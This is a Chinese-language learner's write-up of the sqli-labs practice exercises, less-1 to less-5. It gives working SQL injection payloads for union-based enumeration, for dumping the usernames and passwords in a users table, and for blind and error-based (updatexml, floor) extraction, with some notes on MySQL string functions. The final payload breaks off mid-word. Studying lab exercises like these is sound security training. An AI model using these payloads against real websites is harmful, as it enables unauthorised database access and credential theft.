小白的 sql 注入修炼,参考了各位大佬的博客,感谢

img

# less-1

1. 找到注入点,发现报错回显。

?id=1'

看到报错语句。

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

用 --+ 或者 %23 注释引号

发现已经闭合,只要在后面加 --+ 或者 #注释掉后面的部分就可以了。
2. 猜字段数。

?id=1'order by 3--+

3. 使用联合查询。

?id=-1'union select 1,2,3--+

查询后面 select 查询的信息
4. 注入查询基本信息

?id=1'union select 1,2,concat_ws(char(32,58,32),user(),database(),version())--+

得到用户名 root@localhost : 数据库 security : 版本信息 5.5.44-0ubuntu0.14.04.1

这里可以看到是在 security 数据库里面了,但是我们也可以构造一条语句爆出所有的库。
5. 爆库

首先说一下 mysql 的数据库 information_schema,他是系统数据库,安装完就有,记录是当前数据库的数据库,表,列,
用户权限等信息,下面说一下常用的几个表

SCHEMATA 表:储存 mysql 所有数据库的基本信息,包括数据库名,编码类型路径等,show databases 的结果取之此表。

TABLES 表:储存 mysql 中的表信息,(当然也有数据库名这一列,这样才能找到哪个数据库有哪些表嘛)包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等。show tables from schemaname 的结果取之此表

COLUMNS 表:提供了表中的列信息,(当然也有数据库名和表名称这两列)详细表述了某张表的所有列以及每个列的信息,包括该列是那个表中的第几列,列的数据类型,列的编码类型,列的权限,猎德注释等。是 show columns from schemaname.tablename 的结果取之此表。

?id=-1'union select 1,group_concat(schema_name),3 from information_schema.schemata--+

得到数据库

information_schema,challenges,mysql,performance_schema,security

6. 爆库 security 的表

?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

ps:table_schema = 后面可以直接加单引号括起的数据库名,也可以是数据库的 16 进制,过滤单引号可用。

得到 security 数据库的所有表

emails,referers,uagents,users

7. 爆 users 列

?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

id,username,password

8. 爆数据

?id=-1'union select 1,username,password from users where id=2--+

确定注入点以后首先利用 order by 来确定列数

?id=1'order by 3--+

爆库名 (其实另 一种写法不用)

?id=-1'union select 1,group_concat(schema_name),3 from information_schema.schemata--+

image-20210515224620520

爆表名

?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

爆列名

?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

爆记录

?id=-1'union select 1,username,password from users where id=2--+

# 其他做法

?id=1'order by 3--+

确定该数据库的列数后

?id=-1' union select 1,2,3%23

这种就是先看第几个数是有回显的

发现第 2,3 个数有回显

然后进行注入

user(),database(),version()

?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 %23

这里 database 是指当前使用的数据库

接着

?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3%23
得到 users 表下的所有列名

?id=-1' union select 1,(select group_concat(username) from users),(select group_concat(password) from users)%23

# less-2

image-20210524164415822

image-20210524165823637

image-20210524170023820

image-20210524170330219

image-20210524170655132

# less-3

http://localhost/sqli-labs/Less-3/?id=1')--+

# less-4

无回显报错注入

1.mid () 函数

MID(column_name,start[,length])

如: str="123456" mid (str,2,1) 结果为 2

Sql 用例:

(1)MID(DATABASE(),1,1)>’a’,查看数据库名第一位,MID(DATABASE(),2,1)查看数据库名第二位,依次查看各位字符。

(2)MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE T table_schema=0xxxxxxx LIMIT 0,1),1,1)>’a’此处column_name参数可以为sql语句,可自行构造sql语句进行注入。

2.substr () 函数

Substr () 和 substring () 函数实现的功能是一样的,均为截取字符串。

string substring(string, start, length)

string substr(string, start, length)

参数描述同 mid () 函数,第一个参数为要处理的字符串,start 为开始位置,length 为截取的长度。

Sql 用例:

(1) substr(DATABASE(),1,1)>’a’,查看数据库名第一位,substr(DATABASE(),2,1)查看数据库名第二位,依次查看各位字符。

(2) substr((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE T table_schema=0xxxxxxx LIMIT 0,1),1,1)>’a’此处string参数可以为sql语句,可自行构造sql语句进行注入。

3.Left () 函数

Left () 得到字符串左部指定个数的字符

Left (string, n) string 为要截取的字符串,n 为长度。

Sql 用例:

(1) left(database(),1)>’a’,查看数据库名第一位,left(database(),2)>’ab’,查看数据库名前二位。

(2) 同样的string可以为自行构造的sql语句。

参考 :https://blog.csdn.net/like98k/article/details/79436463

image-20210524201735946

盲注脚本法

报错注入法

(1). 通过 floor 报错
and (select 1 from (select count (*),concat ((payload),floor (rand (0)*2)) x from information_schema.tables group by x) a)
其中 payload 为你要插入的 SQL 语句
需要注意的是该语句将 输出字符长度限制为 64 个字符

(2). 通过 updatexml 报错
and updatexml (1,payload,1)
同样该语句对输出的字符长度也做了限制,其最长输出 32 位
并且该语句对 payload 的反悔类型也做了限制,只有在 payload 返回的不是 xml 格式才会生效

(3). 通过 ExtractValue 报错
and extractvalue (1, payload)
输出字符有长度限制,最长 32 位。

http://localhost/sqli-labs/Less-5/?id=1'and left(version(),1)=5--+

得到版本号为 5 开头

?id=1'and length(database())=8--+

数据库长度为 8

一、concat()函数

1、mysql 的 Concat 函数可以连接一个或多个字符串

select concat('10');//10

select concat('11','22','33');//112233

但是 Oracle 的 concat 函数只能连接两个字符串,不能多也不能少

select concat('11','22') from dual;

2、mysql 的 Concat 函数再连接字符串的时候,只要其中一个是 null,南无返回就是 null

select concat('11','22',null);//null

而 Oracle 的 concat 函数连接的时候,只要有一个字符串不是 NULL, 就不会返回 NULL

select concat('11',NULL) from dual;//11

二、concat.ws () 函数

表示 concat with separator, 即有分隔符的字符串连接

select concat_ws(',','11','22','33');//11,22,33

select concat_ws('|','11','22','33');//11|22|33

select concat_ws('','11','22',NULL);//1122

和 concat 不同的是,concat_ws 函数在执行的时候,不会因为 NULL 值而返回 NULL

三、group_concat ()

***** 必须将 group by 按照什么东西排序,也打印出来;否则函数不起作用

可用来行转列

爆基本信息

?id=1' and updatexml(1,concat(0x7e,(select concat_ws(':',database(),version(),user())),0x7e),1)--+

相当于报错注入的模板为

?id=1' and updatexml(1,concat(0x7e,(sql语句),0x7e),1)--+

?id=1' and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata )),0x7e,1)--+

查询当前库的所有表:

http://127.0.0.1/sql-labs/less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where
table_schema=database())),1)--+

查询 users 表中的所有字段:
http://127.0.0.1/sql-labs/less-5/?id=1’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where
table_name=‘users’),0x7e),1)–+

查询 username、password 字段的内容:

http://127.0.0.1/sql-labs/less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,':',passwo

超过长度限制利用 mid 等函数截取

更新于 阅读次数